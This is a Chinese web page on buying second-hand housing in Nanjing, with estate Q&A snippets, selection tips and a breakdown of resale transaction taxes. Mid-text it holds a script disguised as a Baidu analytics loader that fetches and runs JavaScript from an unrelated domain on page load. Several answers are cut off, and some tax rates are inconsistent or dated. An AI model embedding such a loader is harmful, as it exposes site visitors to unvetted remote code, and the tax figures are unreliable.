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沈丽芳
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问南京景明佳园二手房大家觉得怎么样?
答南京景明佳园绿地套二豪华装 南, 5层 售价231万元/套 南京景明佳园精装3房 南北, 7层 售476万元呢/套 南京景明佳园品质教育楼盘
问大家觉得南京琥珀巷小区二手房怎么样?
答南京琥珀巷小区的二手房挺不错的,该地段的地理位置非常优越,紧靠夫子庙、水游城,而且离夫子庙的地铁口非常近,交通很方便,周边的配套设施很完善,吃的非常多,离夫
问南京老菜市二手房大家觉得怎么样?
答这个得看在哪个区了,鼓楼区的普遍要比其它区贵一些;学区房,特别是那些重点小学中学的双学区房,即便是二手房都甚至会比很多新楼盘贵2~3倍的价格。希望我的回答对
问恒大雅苑南京二手房大家觉得怎么样?
答恒大雅苑南京二手房小区规模庞大、配套齐全,内设有商业用房,服务管理用房,及小学等配套设施。周边拥有苏果超市,马群菜场,生活方便。 小区交通便利,宁杭
问南京明发新城中心二手房大家觉得怎么样?
答南京明发新城中心二手房均价:15030元/㎡ 地址:江苏省南京市浦口区浦口大道11号 明发新城中心挺好的,社区成熟,环境好,空气清新,交通便利,周边各种
买二手房怎么样 二手房挑选的注意事项有哪些
不管大家是居住在大城市还是居住在小城市,大家都能发现房价在整体上是呈现出一个不断上涨的趋势,而且长期上是不存在下跌的情况的,这种时候如果大家需要买房,房屋的花费对于大部分用户来说都是一个比较大的经济负担,大家承担起来也比较困难,因此有的家庭就会选择购买二手房,那么今天我们就会针对购买二手房好不好这个话题来展开介绍。买二手房怎么样虽然此类房子需要支付中介费,并且手续办理起来比较复杂,但它的价格会比较灵活,优惠空间也比较大。你耐心等待也许可以等到价格合适的二手房,再加上还是现房,即买即住,很方便。想必大家都知道买了房子之后是需要装修的,而有的二手房因为装修还比较新,业主们便可以省去这一步骤,节省许多费用。并且可以远离装修污染对我们人体的危害。通常来说此类房子的周边配套比较齐全,多为成熟小区,并且有的交通还很方便,地理位置上也属于比较中心的区域。二手房挑选的注意事项有哪些房屋产权一定弄清楚:首先,要弄清楚产权证上的房主与卖房人是否为同一个人,并要求卖方提供合法证件。其次,确认产权证所标注的面积与实际面积是否相符,向有关房产管理部门查验所购房屋产权来源及其合法性。第三,确认产权的完整性,查验房屋有无债务负担,有无房产抵押,包括私下抵押、共有人等等。注意屋内配置:购买二手房时,屋内的部分配置(沙发、衣柜、空调、床、燃气灶、热水器、电话等),通常情况下业主都会折价或半卖半送给购房者。这时购房者切不可贪图小利,一定要仔细查看这些物品是否能用,再考虑购买与否。注意装修结构:二手房大都装修过,购买后立即入住可以节省一笔不小的开支。但是对于想要重新装修的购房者来说,就要将其初购买时的装修情况弄清楚,已经装修过的地方是不是需要全部打掉,好了解其住宅的内部结构图,包括管线的走向、承重墙的位置等,便于重新装修。注意物业杂费:看看所购买房屋的物业管理费收取标准是多少;小区是否封闭,保安水平怎样;小区绿化工作如何;了解物业管理公司提供哪些服务。同时,自驾车族还要查看其车位的费用。如果是高层塔楼还需观察电梯的品牌、速度及管理方式,如何收费等。以上就是我们为大家介绍的有关购买二手房好不好的全部内容了,其实二手房在选购的时候也是需要注意很多事项的,我们首先为大家提到了大家比较关注的买二手房怎么样的分析,其实二手房还是有很多不错的地方的,不过这需要大家对二手房进行仔细的挑选,只有挑选合适才会有好的居住体验,所以我们也分析了二手房挑选有哪些注意事项,大家可以了解一下。
怎么样才能挑选到合适的精装二手房?
对于许多家庭总体经济还不错的人家来说,仅仅一套房子已经不能满足他们对于生活的追求了,但是再买一套新房子好像又不太合实际,所以,购置一套精装二手房是再好不过的选择了,可是市场上的精装二手房非常之多,很多人都不知道到底该怎么做才能挑选到一套合适的精装二手房,这里有几点小窍门希望可以帮到大家:已有家具,改造费用,性价比。一.已有家具大部分正在出售的精装二手房,它的内部都应该有一些家具,比如饭桌,床,灶台等等一些必要家具,尤其是灶台是必须要有的,因为一般的灶台都是根据厨房的大小定制的,若是这套精装二手房不具备灶台,就说明买家需要自己去购买,那么就意味着需要自己去准确丈量厨房的大小,然后再去定制,一般来说,定制灶台的时间会比较长,价格也会略高。所以说,已有的家具是挑选精装二手房时的一个重要参考标准,既能够加快入住速度,又可以省心省力。二.改造费用在挑选精装二手房时还需要考虑到它的改造费用,为什么要考虑到这个呢?事实上,这个精装二手房虽然已经是经过装修的,但是总还是有一些地方是不尽人意的,因此可能会需要进行改造,所以在挑选时,可以将改造费用纳入参考标准之内,如果这套房子所需改造的地方比较多,它的改造费用比较高,那么它可能也没有什么购买的需要了。三.性价比对于二手房来说,性价比也必须考虑到,一般可以这样考虑。这个地段的房子与这个价格是否匹配?这个精装二手房的装修程度与装修风格是否能够满足自己的要求?这个房子的这个价格是否能够接受?这些问题都得考虑到,如果都符合要求的话,那么这所房子就可以纳入考虑范围了。正确的挑选一套精装二手房,不仅可以解决冗杂的装修问题,还可以带给住户一个全新的生活体验。希望上面给三点能为大家解决这一难题。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
南京二手房交易税费是多少?怎么交
中国经济日益发展,首先带动的就是中国的房价,房子是每一个家庭必不可少的一个支出,现在最便宜的楼盘也是五十万,更何况那些复式楼、别墅区?也有的家庭会因为人口的变化选择更换房子,那么老房子不能空着呀!这个时候大多数人会选择将房屋进行出售,这也就是我们说的二手房,二手房的购买现在不仅是个体之间的交易,作为国家控制的资金流通,尤其全国二手房交易那么大的一个基数的情况下,税收是不可避免的。下面就给大家介绍一下南京二手房交易税费吧。1、南京二手房交易税费是多少?南京二手房交易税费是指在二手房买卖中,由卖方向税务部门缴纳的因交易差价时的收入,分别是营业税和个税,卖方购房则要交的是交锲税,如果购买的住宅购房年限超过五年,不用缴纳营业税及附加,若是不满五年的话则是要缴纳营业税及附加就是计税价格×5.55%。非普通住宅的话,即使超过五年也要缴纳营业税及附加,不过是计税价格减去购房价格×5.55%,购房不满五年的同普通住宅。同时房屋的税费还和房屋的大小相关,90㎡以下的房子首次收取1%,非第一次为3%,90㎡(含)-144㎡首次为1.5%,其余各种情况都是统一的3%。2、南京二手房交易税费怎么交?在办理二手房交易时,税务部门会向卖方征收营业税和个税,卖家可以去税务总局办理相关税务,在房屋是非住宅的情况下,卖房还需要缴纳土地增值税和印花税,过户的时候会产生登记费和过户费,这些费用会在办理交易过户的时候由登记机关直接收取,不需要去专门的地方缴纳。3、南京二手房交易税费如何计算?税费参考如下:查档20元公证费成交价*0.3%营业税:成交价*5.6%1、普通住宅满5年(含5年)免征。2、普通住宅未满5年,全额征收。3、非普通住宅满5年,差额征收。4、非普通住宅未满5年,全征个人所得税:成交价*1%1、普通住宅满5年(含5年),且为卖方家庭唯一住房,免征。2、非住宅(无年限制)按成交价的1%征收。3、转让受赠住房一律按差额的20%征收。4、直系赠与,看老证,满5年免征。契税:1、成交价*1%,90平方米以下的普通住宅,若买方不是唯一住房的按成交价3%征收。2、成交价*1.5%,90平方米以上,144平方米以下普通住宅,若查实买方不是唯一住房的按成交价3%征收。3、成交价*3%,(144平米以上含144平米)土地收益金:成交价*0.5%,房改房征收。土地增值税:1、成交价*1%,住宅免征。2、非住宅,全征(无年限制)、“增值额”*30%征收。印花税:成交价*0.05%1、住宅类,暂免。2、赠与,非住宅,征收(双方各0.05%)。转让手续费:1、面积*2.5元/平方米,已购公房(房改房、直管公房、安居房、经济适用房、集资建房)。2、面积*6元/平方米,商品房。3、面积*8元/平方米,别墅及非住宅。产权转移登记费:1、80元/本,住宅及配套车库2、550元/本,非住宅及不配套车库。3、10元/本,共有权证。贴花税:5元/件。比如房价40万剩5.6%=22400.00元这样计算。南京二手房交易税费?南京作为六朝古都,现在的经济开发力度很大,随着居住数量的增加,房子越来越多,出售的二手房越来越多,在去房产局进行更改出售的时候,南京二手房的交易税费是一笔不小的数目,不过大家不要为了逃避这一笔钱而不进行过户,这样带来的后续麻烦很大,因为在我国相关法律之中,房屋的买卖只有在国家记录在册才被认可,不然都是不具有法律效应的,你也不想你花了半辈子的钱买的房子被人夺走。
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